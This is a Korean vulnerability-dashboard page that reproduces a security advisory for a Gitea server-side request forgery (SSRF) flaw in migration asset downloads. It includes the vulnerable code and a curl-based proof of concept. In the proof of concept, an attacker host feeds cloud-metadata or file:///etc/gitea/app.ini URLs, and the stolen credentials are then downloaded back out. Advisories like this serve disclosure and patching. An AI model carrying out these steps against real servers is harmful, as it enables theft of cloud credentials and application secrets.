Kestrel
대시보드로 돌아가기
CVE-2026-59765MEDIUMGHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.

Vulnerable Code

File: modules/uri/uri.go (line 32) -- Core vulnerability

text
1func Open(uriStr string) (io.ReadCloser, error) {
2 u, err := url.Parse(uriStr)
3 switch strings.ToLower(u.Scheme) {
4 case "http", "https":
5 f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
6 return f.Body, nil
7 case "file":
8 return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
9 }
10}

Callers in migration path:

  • services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets
  • services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches

File: services/migrations/dump.go (lines 312, 453)

text
1// Line 312 -- release asset download
2resp, err := http.Get(*asset.DownloadURL)
3
4// Line 453 -- PR patch download (with self-documenting TODO)
5resp, err := http.Get(u) // TODO: This probably needs to use the downloader

File: routers/web/auth/oauth.go (line 306)

text
1func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
2 resp, err := http.Get(url) // RAW http.Get -- no hostmatcher

Contrast with protected migration clone (same codebase):

text
1// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
2transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

PoC

bash
1# Step 1: Set up attacker Gitea instance with malicious release asset URLs
2# Create a repo on evil.gitea.attacker.com with a release asset whose
3# download_url points to internal services:
4
5# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
6# Or: file:///etc/gitea/app.ini (local file read)
7
8# Step 2: Admin triggers migration from attacker's Gitea instance
9curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
10 -H "Authorization: token ADMIN_API_TOKEN" \
11 -H "Content-Type: application/json" \
12 -d '{
13 "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
14 "repo_name": "migrated-repo",
15 "repo_owner": "admin",
16 "service": "gitea"
17 }'
18
19# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
20# Cloud metadata is saved as the release asset attachment in the migrated repo
21# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
22
23# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
24curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"

Impact

  • Cloud metadata theft: 169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)
  • Local file read: file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)
  • Internal service scanning: Reach 127.0.0.1, 10.x, 172.16-31.x, 192.168.x networks
  • Bypasses existing SSRF protection: The hostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
  • Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.